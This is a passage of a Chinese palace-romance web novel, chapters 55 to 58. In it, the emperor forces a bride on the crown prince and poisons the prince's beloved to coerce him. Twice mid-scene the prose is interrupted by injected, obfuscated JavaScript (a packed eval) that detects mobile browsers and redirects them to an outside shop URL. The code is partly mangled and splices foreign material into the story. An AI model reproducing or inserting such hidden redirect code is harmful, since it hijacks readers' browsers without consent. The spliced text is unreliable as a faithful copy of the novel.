她将自己向被衾之中再次缩了缩,看上去要缩成一个小团。 “殿下,我方才什么都没说,你一定是听错了。” “是吗?”他靠过来,周围檀香味逐渐加重,密不通风地包裹住她。 容不得她逃离一丝一毫。 她微微一动,锁骨处便传来一阵微小的凉意,那是殿下送给自己的骨哨。 那是他最重要的东西。 如今好好地戴在自己脖颈之上。 手腕处 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难道大胤是没人了?要选这样的一个女子。 未免在打他自己的脸。 他让人濯选了京中适龄贵女的画像,上次虽说在太子的生辰礼上虽说他没有选任何一位。 但是那也正常,毕竟才第一面,彼此都不互相了解。 感情吗,就是要循序渐进,互相了解之后才会更好的相处。 青奚帝觉得自己想的没有任何错。 于是决定私自为谢知寒挑选一位门当户对的贵女做太子妃,可以先住到皇宫来,和太子先培养一下感情。 他从来都不认为男子一生只会选一位女子,谢知寒以往说的话他虽然没有反驳,但从内心深处觉得他可笑之至。 为了一个江姑娘,不惜与自己为敌。 简直是愚蠢之至。 那个什么江姑娘,倒也不是不能进东宫。 但她只能是以太子侧妃的身份。 青奚帝翻来翻去,烛火下的少女个个端庄知礼,家室不俗。 突然,礼部尚书之女孟青霜映入了他的眼帘。 他知晓这个女子。 在京中出了名的知礼,且容貌秀美,是个有名的才女。 家室也相当,日后会对太子有所助力。 堪为太子良配。 青奚帝看着画像,沉吟片刻。决定就是她了。 * 入宫的旨意很快传到了礼部尚书孟然那里。 孟然从来没有想过青奚帝会让自己的嫡女选入东宫,心中很快喜忧参半。 上次宫宴之后,他已经得知太子心中已有心悦之人。 霜儿即使入了东宫也不见得会让太子殿下喜爱。 但一切又都是个未知数。谁也不知太子殿下会对那位江姑娘心悦多久,万一殿下与那位江姑娘生分了,那么霜儿还是有机会的。 毕竟,孟然非常清楚他的霜儿在京中贵女之间可算得上翘楚。 但其实这也不是他应该思考的问题。 毕竟,这可是青奚帝的旨意,不管他心中如何想,皇命不可违。 孟青霜自然也很快得知了这个消息。 55. 第 55 章 自从上次生辰宴见过谢知寒以后,孟青霜就一直对太子殿下念念不忘。 他只是简简单单得坐在那里,就已经走入了她心中。 只是上次太子殿下对着所有人轻轻放下一句,已有心爱之人,就足以让在场所有贵女伤透了心。 谁能料想太子殿下这般的人竟然被别人捷足先登了啊。 当初就应该让父亲买一个举例皇宫近的宅子,好让她近水楼台先得月。 不过此时陛下的旨意也算完成了她的夙愿,毕竟,她要去的可是东宫,她要见的人还是太子殿下。 她一定会好好把握住这次机会的。 已有心上人么。 没关系,那就让殿下看看谁才是真正堪为太子妃的良配。 她不信,她孟青霜还能输给一个从未听过名字的女子。 谢知寒是在青奚帝的旨意下了几日后才得到消息的,他非常不明白青奚帝的旨意,明明他曾经非常明确的表示过。 他的太子妃只会是晓晓一人。 尽管其他人再好,他也不要。 所以不必再耽误其他女子的时间,让她们做自己的事情不好吗。 奈何青奚帝不懂这个道理。 在青奚帝心里,总是觉得男子对于情爱是一时的,没有永恒,或许其他人会这么做。 但谢知寒永远不会。 他永远属于江露染,生生世世。 孟青霜在三日后入宫,居于披香殿偏殿,刚好与七公主祝盈是一处。 孟青霜离家那日,孟家人都前来相送,纷纷祝福她有个好的前程。 毕竟这可是陛下亲自下的旨意,看来这位嫡姐前途不可限量。 如若真的可以成为太子妃,那将来这位嫡姐可就是当之无愧的一国之母了。 可千万得与她搞好关系。 届时说不定嫡姐得了好处还会分自己一杯羹。 七公主祝盈很早就得知披香殿要来一位妙龄少女,不过知晓她来的原因之后,她可就不怎么喜欢了,祝盈将这件事情说与谢衡。 谢衡语气有些懒散,但这懒散中透出几分认真。 “有关太子的事情,你可千万别去瞎掺和,皇兄心里一定有数,你可别去自作聪明。” 自从上次青莲教的事情之后,他可算摸清了这位皇兄的一点脾气。 看似寡淡,对什么都不放在心上的模样,可若是谁碰了他的底线,他可绝对不会留一丝情面。 表面看上去寡淡,但其实对任何事尽在他的掌握,处理起来也是游刃有余。 但是那个时候很不巧,他刚巧就是碰到了不知死活的碰到了谢知寒的底线,所以之后连同母后才会变得那么惨。 同样的事情,他可不想经历第二次。 对于自己未过门的妻子,自然更不想她参与到这些太子妃濯选之类的事情上。 毕竟,将来他们都是要离开皇宫的,为了这些事情再惹来不必要的麻烦是根本没有必要的。 再说,他心中也不想看到祝盈惹上麻烦。 虽然祝盈与自己曾经幻想的妻子人选大相径庭,但是此时此刻,他觉得他的妻子应当就是祝盈这样。 她和京中贵女性格很不一样,但幸好,他喜欢她这个样子。 她是他的妻子,他总要护着她的。 自从与祝盈的婚约成立以后,他好像莫名多了惧内这个名号。 他怎么会惧内呢,谣传,都是谣传。 他那叫护着她。 祝盈看着他莫名认真起来的眉眼,感到非常奇怪,这个人怎么突然正经起来了。 突然正经起来的样子莫名还有点...帅。 “我知道了,我不会插手他们之间的事情的。” 但是只要发生一些让她忍不住的事情,她还是会出手的。 谁让她的性子就是路见不平拔刀相助呢。 祝盈回到披香殿就与孟青霜遇上,孟青霜正在收拾自己的行装。 看到祝盈到来,立刻对着她行了个礼:“民女见过公主殿下。” 倒是一个标致的美人,只是可惜,谢知寒心中已有他人。 将来这位孟姑娘不知有多伤心。 孟青霜还为祝盈准备了一支簪子作为见面礼,那簪子是精心打造的,在日光下泛着盈盈的光泽。 非常漂亮。 祝盈将它接了过来,对孟青霜表示感谢。 谢知寒觉得很有必要将这件事情告诉晓晓,以免晓晓将来误会。 “晓晓,孤今日有件事情要告诉你。” 江露染望着殿下,他的脸色少见的有些郑重。 已经很久没有见过殿下这个模样了。 “什么事?”她被他带的心中也开始忐忑起来,不会是什么了不得的大事吧? “父皇请了一位孟姑娘居住在披香殿。” 谢知寒有些苦恼,不知该怎么和晓晓说,毕竟这位孟姑娘此时有点棘手。 可是就是这样,他才越要和她说清楚。 可是话到嘴边,又不知道怎么理清楚。 算了,不管他。 “晓晓,孤才不管什么孟姑娘,李姑娘,在孤心里,就只有晓晓一个人。” “以前是,现在是,将来也会是。” 江露染这才明白殿下的意思。 青奚帝将孟姑娘带到宫中,一定是为了...为殿下濯选太子妃这件事。 而殿下试图在与自己解释这件事。 可是他,为何要解释呢? 这件事情又不是殿下主使的。 “殿下,我明白你的意思,我不会让你为难的。”而后,她很快的补了一句。 “晓晓心中也只有殿下一人,以前是,现在是,将来也会是。” 谢知寒这才彻底放下了心。 孟青霜在家中之时就已经将礼仪学的很好,在宫中已经不必再学。 这几日见了昌顺国的七公主,看上去很好相处,在披香殿的日子也算平静。 唯一不足的就是这几日还没有见过殿下,但是幸好,她从宫人口中得知披香殿与东宫离得很近。 既然殿下不来见她,那她只好去见殿下。 “春桃,你知晓太子殿下的起居吗?” 她来宫中之时只带了两个自小就在身边侍候的婢女,冬竹与秋荷。 她们自然是不知晓太子殿下在宫中的起居。 只能寄希望于一直在披香殿侍奉的宫女春桃。 春桃听到问话,垂手侍立于一侧:“殿下每日会去上早朝,而后而从披香殿旁边的小花园回东宫。” 春桃果然知晓。 孟青霜眼 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几乎全是溢美之词,在皇宫这个制度森严的地方,这样的评价可不多见。 可是在孟姑娘面前,夸别人真的好吗,何况这还是孟姑娘潜在的情敌。 春桃看了一眼孟青霜,在心底纠结到底要不要如实告知。 孟青霜看出她心里的犹豫:“你如实说就好。” 眼见孟姑娘没有生气,春桃才将那些话语如实转告给了孟姑娘。 孟青霜听完之后,独自一人愣了很久,原来殿下喜欢的人是这个样子。 看来自己要走的路还有很长一段。 但是没关系,她最喜欢的事就是挑战,非常容易得到的事她还不屑去做。 既然她要的事情,她就一定势在必得。 无人可以阻挡。 次日下了朝,青奚帝留下了谢知寒,父子二人都心知肚明要说些什么。 无非就是关于刚进宫的孟姑娘。 谢知寒其实一点听下去的兴趣也没有,若不是为了这点君臣之礼,他早就回明轩阁了,晓晓还在等他。 青奚帝看着谢知寒面上明显的不耐,心中已生出愠意。 和自己这个父皇说说话就是如此不好的一件事情吗。 青奚帝转了转拇指上的玉扳指:“孟姑娘才刚刚进宫来,你要多照顾着她些。” “此事儿臣并不知晓,一切都是父皇善作主张,儿臣记得早就对父皇说过,儿臣心中已有心爱之人,孟姑娘儿臣自然是照拂不得。” 说完转身离去,再也没有看青奚帝的反应。 不过青奚帝的反应对谢知寒来说,并不重要。 毕竟,他此时最在乎的还是晓晓的反应。 今日回去一定会迟了,晓晓会不会等急了。 思及此,他的步伐快了起来。 身后的宫人也觉察到殿下的变化,很快也加快脚步跟上。 途径披香殿的小花园,谢知寒经过一个转弯,就被一个女子撞入怀中。 而后慌乱地对他行礼。 “民女见过殿下。” 谢知寒眸中一暗,似曾相识的套路。 56. 第 56 章 望着面前自称是孟姑娘的人,谢知寒不动声色向后退了一步,距离孟青霜很远,他视线在她身上略过,很快就停留在一侧的花草之上,而后淡淡道:“孟姑娘不必多礼。” 之后看也不看她,径自就向前走去。 似乎一点也不在乎身边女子的看法。 毕竟,除了这里之外的任何事,他还有更加重要的事要去做。 他要去见他的晓晓。 这是好不容易才见到的殿下,怎么可以轻易就让他离开。 况且方才仅仅是一眼,她就看到自己心仪已久的人,穿着一身白色的衣衫,整个人如同谪仙般站在自己面前,她能闻到来自他身上好闻的檀香,像个本人一样清淡旷远。 “民女殿中泡了清茶,不知殿下是否有时间去品尝一下?” 孟青霜听到谢知寒的声音,立即起身,想走到他身边。 和他拉近一些关系。 谢知寒本来想的是这位孟姑娘本来也就是无辜被卷进来的人,以后应当早日放她离开,不能耽误她自己的人生。 但此时亦步亦趋跟在他身后的孟青霜,已经远远超出了他所能接受的范围。 他不怎么喜欢身边有其他女子靠近,除了晓晓。 他站在原地,声音却比方才多了几分寒意,孟青霜明显听到里面的距离感。 殿下不想让她靠近。 “孤已说过,孟姑娘不必介意,孤还有事,就先回去了。” 他这番话说的有些委婉,他相信她可以听懂。 他说完,就抬步向前走去。 然而,身后仍旧传来了孟青霜的跟随声。 她的声音也带着几分楚楚可怜,听上去好像要哭了。 “殿下...” 这声音令他烦躁,对于这位突然而来的孟姑娘,他其实已经足够忍让。 “孟姑娘止步,孤最不喜欢的就是得寸进尺,孤希望孟姑娘可以明白分寸。” 说完,谢知寒头也不回地离开了。 原地只剩下孟青霜一个人,殿下方才说她什么。 得寸进尺,不知分寸。 这还是她有史以来第一次听见这种说法,十几年来,提起自己,谁人不是夸她一句容貌得体,举止有度,是京中有名的才女。 就连求娶的人也几乎要踏遍家中门槛。 可是孟青霜却从来没有想到,在殿下眼中她竟然就是一个这样的人。 这要是被旁人知晓了。那她还要不要活了。 孟青霜不知道自己是如何回的披香殿,只觉得眼前逐渐模糊了。 冬竹与秋荷也是第一次见到场景,自家小姐哪里经受过这种不喜。 何况这人还是一向光风霁月的太子殿下。 两人一路稳稳扶着孟青霜回了殿中,冬竹安慰:“姑娘,别伤心,殿下可能是第一次见到姑娘,对姑娘并不了解,是以才说出这种话,等殿下对姑娘有所了解,想必就会喜欢上姑娘了。” 了解。 看殿下的样子,可不像是想要对自己有所了解。 殿下这么着急回去,想必是为了那位江姑娘吧。 殿下也会对那位江姑娘说得寸进尺,不知分寸这样明晃晃的厌恶的话吗。 想必是不会的。 可是她与那位江姑娘差了什么呢。 她不过是晚来了一步。 难道她就再也没有机会了吗? 不,她绝对不会允许这种事情发生,今日不过是出了一种小状况,她有信心让殿下爱上自己。 今日殿下回来的好晚,问了南风,知晓今日殿下没有被青奚帝留下,那殿下怎么还没有回来。 江露染走出明轩阁,向着东宫回来的地方望了望。 仅仅是简单的一眼,就看到殿下似乎与一位漂亮的女子在说些什么,举止似乎有些亲近。 她浑身一愣,今日明明有太阳,可是她却感觉到冷,一定是今天穿的有些少。 一会儿回去应该多披一件外衫。 她看着不远处的两人,男子气质挺拔,俊美无俦,女子容貌秀美,站在一起,倒很是有些般配的模样。 那位就是青奚帝为殿下挑选的太子妃,孟姑娘么,看上去倒真的是端庄得体,举止有度。 哪里像自己,直到如今,礼节也根本没有学会几种。 自己和殿下站在一起会是什么样子? 也会和他们站在一起时那样般配吗? 想来或许不会? 毕竟自己一直是肆意惯了的。 青奚帝原来喜欢那样的太子妃,可是她好像永远都做不到。 心底涌上来一股难言的情绪,有些酸,她知道这种情绪是不对的,殿下已经将孟姑娘的事告知了自己,自己此时的反应好像有些太过了。 像是画本子里的坏人。 她不想当坏人,于是努力调整好自己的面部表情,争取一会儿不让殿下看出端倪。 她可没有生气,也没有吃醋。 看啊,她还是好好的,在这里等他回来。 可是心底里的情绪好像在跟她闹别扭,越是不让他们涌上来就越是肆无忌惮地冒出来。 压都压不住。 江露染不知晓自己这是怎么了。 谢知寒回明轩阁的时候就看到江露染在看画本子,以往这个时辰这个画面可不多见。 他明明记得晓晓总是睡前看画本子。 他那时还说过让她改掉这个习惯,对眼睛不好。 谢知寒缓缓踏进殿内,江露染反常的没有看他,仍旧坐在桌案前看书。 仿佛被书中的内容完全吸引住了,可那是一本非常繁复的治国方册。 她倒是不知晓,晓晓何时对治理国家开始感兴趣。 当然,她若是有兴趣他随时都可以教她。 只不过,他轻咳一声:“晓晓,你的书拿反了。” 江露染:... 竟然是拿反了么,她刚想将书倒转过来,手中的书册就被面前的人抽走。 随意扔在一旁。 眼前立刻出现殿下俊美无俦的容颜,他清澈的眼瞳此时正一眨不眨地望着她。 江露染忽然不想看见他,想转过身去。 就被谢知寒揽过身子,抱在怀中,他的怀中是那样温暖,几乎就要驱走她心中的寒冷。 他的下巴抵在她肩上。 “晓晓,这是在生孤的气?” 他的下巴在她肩上蹭了蹭:“可是孤却不知晓何时惹了晓晓生气,晓晓可以告知孤吗?” 他身上的檀香严丝合缝地嵌进她身体里的每一个地方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162454|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前蒙上淡淡的水雾,此时更加不敢告诉他,刚才的心理活动好像就在说明她是一个坏人。 明明殿下与孟姑娘什么都没做。 只是极为平常的说了几句话而已,而她却酸的要死要活。 真是太不大方了。 谢知寒牢牢抱紧怀中的少女,她身上清甜的香味是专门治愈他的一味药。 良久都没有听到她的回答,他淡淡启唇:“孤向晓晓交代,孤今日可没有做对不起晓晓的事情,对于那位孟姑娘,孤会找个合适的时机送她出宫。” 他此时坦诚的简直要剖开他的心,江露染更加羞愤,殿下对于自己是何等坦诚,从来没有事情瞒着自己。 而她却只会在背后吃一些莫须有的醋。 简直是太不应当了。 “我...我才没有生殿下与孟姑娘的气,殿下日后想和谁说话就和谁说话,千万不要顾及我。” 他和孟青霜偶遇的场面果然被晓晓看到了,所以晓晓才会拿倒书卷。 原来是在吃醋。 能看到晓晓吃醋的场景可不多见。 谢知寒搂着她腰肢的手紧了紧。 “晓晓放心,孤一定听从晓晓的话,绝对不与其他女子接触,毕竟娘子的话夫君总是要听的,是不是?” 殿下他又来了。 眼看怀中的少女被自己哄好,谢知寒唇边也蔓延出笑意。 他想要的很简单,无非就是国祚安稳,和怀中的她。 从那以后,谢知寒就非常刻意地远离了上次行走的路线,躲避与任何人偶遇的可能性。 他是有娘子的人,可要洁身自好。 孟青霜一连好几日没有见过谢知寒,她很快知晓,是殿下在刻意远离他。 殿下他,是在避嫌。 也不知道殿下他是自愿的,还是那位江姑娘逼迫的,总而言之,这对于孟青霜来说是一件极具打击的一件事。 她一直京中贵女圈的翘楚,从未有过败绩。 自从入宫以后,就一而再,再而三地遭受挫折,她连殿下的面都见不了几次,更别提让殿下爱上她。 若是一直这样,被殿下视为无物,就这样被送出宫中,那还不是丢进了颜面。 那些贵女不知要怎么嘲笑她,还有她的家人。 这样想想,活着还有什么意思。 春桃进来的时候就看到孟青霜在扯绳子,她心下一急,立刻丢掉了手中的托盘,疾步奔向面前的女子。 “姑娘,可千万别这样。”可孟青霜将手中绳索攥的紧紧,春桃怎么也拉不开。 冬竹与秋荷也被孟姑娘支了出去。 春桃急的满头大汗。 祝盈正巧从昆德殿回来,一眼就听到偏殿的动静,立刻去看发生了什么。 一看不得了,这孟姑娘眼看是要自尽,她好歹也收了人家一根簪子,也不好看着人家做这种事。 救人一命胜造七级浮屠,祝盈想到没想就上去点了孟青霜的睡穴,孟青霜立即晕了过去,松开了手中的绳索。 春桃立刻将绳索收好,对着祝盈连连感谢。 “奴婢代替孟姑娘多谢七公主,七公主必定心想事成,万事顺遂。” 这话说的...她倒也十分满意。 “仔细照顾好你家孟姑娘。” 57. 第 57 章 孟青霜出事的消息很快就传到了青奚帝那里,他非常震怒,孟青霜是他下旨入宫的,如今却闹出这样的丑闻,简直是令他的颜面扫地。 再说,孟姑娘一向是京中的才女,谢知寒到底是哪里不满意。 难道这样的名门贵女最后竟然比不上一个来自宫外毫无教养的野丫头不成? 自然是再次将谢知寒唤到明光殿中。 殿中气氛再次压抑无比,内侍也早就习惯太子殿下来了之后,明光殿就气氛压抑的事实,早已退避在一侧,生怕接下来会殃及池鱼。 青奚帝静静望着殿内的谢知寒,他是他唯一的嫡子,将来至高无上的位置只会留给他,再没有旁人的可能性。 在将谢衡幽禁之后,青奚帝已经逐渐接受了这个事实。 是以,他逐渐再为将来做准备,比如清除朝中的臣子,命令谢衡无诏不得回京,最后自然就是为他寻找一位大有助益的太子妃。 他不仅仅是在为他挑选太子妃,也是在为他挑选未来的皇后。 将来的一国之母。 断断是不能让一个来自宫外的女子做的。 否则那要惹来多少非议。 他不能也不会皇室遭受那些莫须有的非议。 青奚帝自问已经将事情做的很好,即使他此生对不起阿芷,即便将来到了地下,也算对阿芷有个交代。 可是,变数偏偏出在谢知寒这里。 他明明只需要静静地接受,哪怕他心中心悦他人,但他仍旧可以与孟姑娘举案齐眉,这样两全其美,不好吗? 偏偏要在这件事上多生事端。 简直令人气愤心烦。 他不想对那位只远远见过一次面的江姑娘,赶尽杀绝,但无奈,是太子逼他。 “你若是不与孟姑娘相处,朕会杀了你那位看的跟宝贝似的江姑娘。”青奚帝语气冰冷,不留半分情面。 谢知寒闻言,只是缓缓抬了抬眼,并未有多余的情绪,因为他知道青奚帝很难做到这点。 但青奚帝好像看穿了他的想法,语气平静却字字不留情。 “你不要想朕做不到,毕竟,这还是朕的皇宫,即使东宫守卫再如何密不透风,朕难道就会受制于你。” 谢知寒静静地看着他,眸中逐渐涌起浓重的墨色。 修长白皙的手指逐渐收紧,甚至可以看到清晰的脉络。 “你对她做了什么?”声音有些不可控制的沙哑,颇有些山雨欲来风满楼的前兆。 青奚帝看他一眼,眼神中有明显的怜悯,或许是觉得自己终于在这一场的博弈中取得了,一些微不足道的胜利。 他语气放缓,平静地宣判她的死期。 “你的那位江姑娘中了毒,半年后拿不到解药,她就会死。” 殿中一时寂静下来,比方才还要沉静几分,仿佛是一瞬间陷入了无边无际的黑暗地带。 很长时间里没有人出声。 当真是过了很久,谢知寒才终于明白青奚帝口中到底说了什么。 他说晓晓中了毒,半年后会死。 如果拿不到解药。 “解药自然在朕这里。” “但朕只有一个要求,在这半年里,你要对孟姑娘好,并且选她做太子妃。” 青奚帝的话清晰到几近残忍。 仿佛是在对谢知寒进行当场凌迟。 只是,这痛苦却要晓晓来承担。 手心传来疼痛,可谢知寒完全没有在意。 他已经不对青奚帝的亲情有所希望,甚至可以放下之前的一切,重新开始。 他想,他会尝试着做一个更好的太子,更好的君主,甚至是一个更好的夫君。 他已经从之前的痛苦中彻底走出来。 可是偏偏要在这个时候,青奚帝对自己的亲情卷土重来,在不合适的时机,以不合适的理由,甚至是用晓晓的性命作威胁。 他以为的对自己好其实是完全用错了地方。 谢知寒静静站在原地良久,感觉身体里的血液全部凝固。 直到浑身变得冰冷,像是一尊雕塑,全世界所有人,事,物,在这一刻完全沉寂,只余耳畔传来晓晓轻轻的一声:“殿下。” 眼前只能看到她的笑颜。 可是,他最终连她也没有护住,他关心的人,珍爱的人最终他都没有护住。 只是站在那里,就已经万箭穿心。 谢知寒不想再多看高居上位的青奚帝一眼,转身就出了明光殿。 殿中的内侍头垂的更低,只希望自己快速忘记方才听到的对话。 谢知寒不知是怎样回的东宫,只记得路上开的花束非常鲜艳,晓晓曾说过那些花很好看。 应当为晓晓摘一朵回去。 他缓缓伸出手去摘花,花枝上的刺刺破他指尖的皮肤,很快有血珠冒出来,身边的宫人大惊失色,想要为他包扎,可是他根本听不到他们在他面前说些什么。 他只记得,他要快些回去,晓晓还在等他。 简直可以称得上失魂落魄。 江露染看到谢知寒手中的花束,自然开心非常,很快接过来,而后就看到花枝上的血珠,心中一惊,立即去看他的手。 “殿下受了伤?” 他指尖还在流血,江露染想回身去拿药瓶,却被谢知寒紧紧抱在怀中,她的体温隔着衣衫缓缓地传递过来,一点一点缓解了他身上的寒意。 像是春日的冬雪消融。 “晓晓,孤很想你。” 江露染有些不明所以,她在他怀中轻轻动了动,却被谢知寒抱的更紧。 “殿下,我就在这里。” 今日的殿下好像有些奇怪。 但是此时最该做的事是涂药。 十指连心,殿下一定很疼。 涂药的时候,谢知寒静静看着江露染的眉眼,一错不错。 江露染包扎好之后,有些羞涩:“殿下,是不是今天我今日的眉画的不好?” 所以殿下才会盯着自己看这么长时间。 “不,晓晓今日很美。”他紧紧握住她的手,像是要把她融进自己的血脉。 不知道这毒可不可以转移。 这样他就可以不娶他人,也可以让他的晓晓活下去。 只是恐怕要辜负当初的诺言,永远不离开她。 “去传太医。”他静静地吩咐宫人。 太医?殿下是在明光殿受了伤吗?江露染有些紧张。 “殿下,是出了什么事吗?”他此时的脸色的确不太好。 “是不是陛下对殿下不好?”她就知道青奚帝不是什么好人。 谢知寒心中轻叹一声,他倒宁愿是青奚帝惩罚自己,将毒下在自己身上。 也不愿意她伤到一丝一毫。 太医很快过来,江露染呆呆地看着太医给自己把脉,眼神中满是疑惑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174016|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “...殿下?” “晓晓别怕,最近几日天气有些冷,孤请太医过来为晓晓开几副调理身体的方子。” 原来是这样。 江露染稍稍放下心,其实相比于自己是否受了风寒,更应该看太医的应该是殿下。 毕竟,她的包扎一向很潦草。 太医诊完脉,对谢知寒交代了江姑娘平日里需要注意的事情。 左不过是一些小事,比如多喝热水,注意保暖诸如此类。 谢知寒目光沉沉,看着太医的眼神有些不善,太医心中有些嘀咕。 他也没有说错呀,防范风寒就是做这些。 殿下是因何眼神不善? “太医难道没有其他要说的...比如中毒之类。” 中毒!太医心中闪过惊诧,语言惊慌,就差给谢知寒跪下了。 “回殿下,微臣方才把脉,的确是没有观察到江姑娘中毒呀,殿下的意思还是说,微臣给江姑娘下了毒,微臣就算是有十条性命也不敢对江姑娘做出如此行为,还请殿下明鉴。” 谢知寒静静盯了他半晌,看他的样子实在不像作伪,这才放他回去了。 回去的路上,太医一直心跳加速,看来殿下今日让他来把脉不是简单的预防风寒。 难道是江姑娘中了毒? 太医心中惴惴不安,宫中谁人不知这江姑娘可是殿下的眼珠子,殿下视她比自己的性命还要重要,谁人敢对江姑娘动手,简直就是不想活了。 不过,这宫中的事情一向阴私复杂,不关他的事他可不想去掺和,毕竟,他还要活命。 傍晚时分起了风,仅仅只是一瞬间,院中的落叶就簇簇地落下来,宛如夏日落雨。 谢知寒静静思索片刻,还是唤来了南风。 “去请神医过来。” 南风一愣,而后才反应过来,神医指的是那位曾经为江姑娘治过病的老先生。 难道是殿下出了什么事? “殿下难道生病了?” 谢知寒缓缓摇头,眼神中透露出一丝无奈,看上去有些绝望。 “不是孤。” 南风一愣,不是殿下,但却让殿下如此心慌的就是江姑娘。 而宫中能对江姑娘动手还不被察觉的就只是陛下。 而陛下的手段一向狠辣。 南风心中一凛:“属下这就去办。” 南风日夜兼程,路上换了好几匹快马,终于到达了王神医所在的医馆,南风踏上台阶,就看到王神医和菘蓝在悠闲地晒太阳。 事态紧急,南风顾不上礼数,对着王神医道:“神医,快随我去一趟京城。” 王神医此时正躺在摇椅上浅眠,耳边音乐就听到南风的话,谁阿这是,一上来就让他去京城。 真当自己是皇帝不成,想让自己去哪就去哪。 眼看王神医无动于衷,南风上前摇醒他。 “神医,这是殿下的旨意,事态紧急,快随我走吧。” 这声音听上去好生熟悉。 王神医睁开眼,就看到南风扯着他的袖子。 他方才说谁? 殿下? 殿下?! 还有谁能被称为殿下,除了京中一向素有贤明的太子殿下,王神医不作他想。 他惊得立刻清醒过来。 可以看出来那位公子身份尊贵,但是也没想到竟然如此尊贵啊。 58. 第 58 章 眼见王神医还在犹豫,时间紧急不等人,南风一把扯过王神医的袖子对他道:“神医,不能犹豫了,救人要紧。” 王神医在南风的催促下终于反应过来,眼看就要被南风拽出医馆。 “等等,我还要拿着我的药箱啊,菘蓝,药箱...” 王神医和菘蓝以及药箱就非常仓促地被塞进了马车。 但是自己就这么走,是不是也太容易了些,他可是神医,按理来说应该在此时摆摆架子,以表示自己富贵不能淫,威武不能屈的精神...他正想着,身体猛地一倾,有点头晕。 这晕车的老毛病让他拿不了架子,这个想法就此作罢。 马车一路颠簸终于到了京城,王神医下了马车都感觉天旋地转,不是咱就是说,太子殿下是怎么接受的了南风这样驾车的。 这也太快了。 南风将二人领进东宫,王神医一看到谢知寒就对他道:“殿下,你可真是将我和菘蓝蛮的好苦。” 谁能想到当初任劳任怨在他院子里摘菜的人会是当今太子殿下。 谢知寒:“神医客气,还有劳神医为晓晓诊脉。” 在路上王神医就已想过,殿下这么着急将自己请过去,一定是有要紧的事,如今看到殿下安然无恙,那么需要治病的一定是那位江姑娘。 谢知寒开口,他就想,果然如此。 难道是上次的箭伤有了后遗症,可是不对啊,皇宫中的太医都不是庸碌之辈,仅仅一个后遗症,倒也不至于让殿下千里迢迢将自己接过来。 江露染看到神医,面上也是很开心。 “神医,菘蓝,你们怎么来了?” 看这样子她并不知情。 王神医看了一眼谢知寒,自己琢磨着措辞。 “殿下请我过来给江姑娘...看看上次的箭伤是否有后遗症。” 原来是这样。 怎么殿下也不与自己说一声,神医远路而来她也能做好迎接的准备,真是有些失礼。 一路上南风也没跟自己透露过任何口风,是以王神医也没有觉得两人会有性命之忧。 只是猜到或许会有几分棘手。 但是此时,他的神情越发凝重起来,完全看不到脸上的笑意。 谢知寒看到他脸上的神情,心一点一点沉了下去。 这还是第一次在神医脸上看到如此凝重的神情,也不知道青奚帝到底给晓晓用的是哪种毒。 王神医诊完脉,对着江露染微微一笑:“江姑娘放心,无什么大碍,等老夫为姑娘开几副调理身子的药方即可。” 江露染将衣袖放下:“多谢神医。” 谢知寒宽慰了江露染几句,就跟着王神医出去,直到一片僻静的角落,无人可以听到他们的对话。 王神医的眼神明显带了责备,脸上神情也是罕见的凝重。 “殿下可知江姑娘是中了毒?” 谢知寒手指收紧,心脏处再次传来抽痛,而后这种疼痛感逐渐蔓延至全身。 他感到喉咙处传来一阵涩味,开口说的话也有些发干。 “神医可有解法?” 王神医看着谢知寒明显无措又失落的样子,心中的责骂散了,他明显也不想让她中毒。 可是这是皇宫,守卫如此森严,怎么会中毒,而且中的还是这种歹毒的毒。 王神医叹了一口气:“此药名为霜烬,是最为有名的一味毒药,此药中毒之后并没有明显的症状,行动起居都如往常,只是半年以后,全身会痛入骨髓,令人生不如死,疼痛之时犹如火烧,是以名为霜烬。” 谢知寒面色苍白,很久后,他才找回自己的声音。 “此毒可有解法?” 神医沉默良久,道:“此药配置极为难得,故而解药也只有一颗。若是半年找不到解药,只会生不如死。” 生不如死,那样痛苦倒还不如死了痛快。 谢知寒面色苍白似雪,他能听到自己心脏一下一下跳动的声音。 平缓而有节奏。 为什么中毒的不是自己,晓晓只是一个局外人,这一切都是他导致的,为什么要让她来承担这个后果。 “神医...真的没有其他法子了吗?” 王神医看着谢知寒面上明显失魂落魄的样子,心中也是轻叹一声,这两个人的情路看上去很是坎坷啊,他还等着喝两人的喜酒呢。 也不知道还能不能喝上。 “殿下放心,我这就去翻看医书,若是有了消息一定第一时间来告知殿下。” 南风去为王神医和菘蓝安排房间。 原地很快就剩下谢知寒一个人。 他静静地站在那里,深重的秋风卷起了他的衣裳,带来一阵刺骨的寒意。 而他却一点也觉察不到。 回了明轩阁,江露染正在调配茶水,看到他进殿,将茶盏递到他手中。 “我新调的,殿下尝尝。” 谢知寒将茶水一饮而尽,江露染看到觉得很惊奇,难道今日调配的茶水味道还可以? 殿下如此顺畅就饮下,一点异议也没有。 她很快也为自己倒了一杯,尝了尝,小脸很快皱起,还是和以往一样酸涩难以下咽。 殿下他是没有尝出来吗? 竟能饮的如此畅快。 “殿下...”她本能的向他靠近,却感受到来自他衣衫上的寒凉。 天气已经是深秋,即使是白日,也能感受到无端的凉意,殿下他一定是在回廊站了许久,明明说要自己预防风寒,她看真正应该预防风寒的人应当是殿下。 谢知寒紧紧握住她的手,力气大到令她觉得有些疼痛。 他面上的表情好像有些失魂落魄,他自从昨日回来就一直怪怪的,再加上今日神医的突然到来,殿下会不会有什么事在瞒着自己。 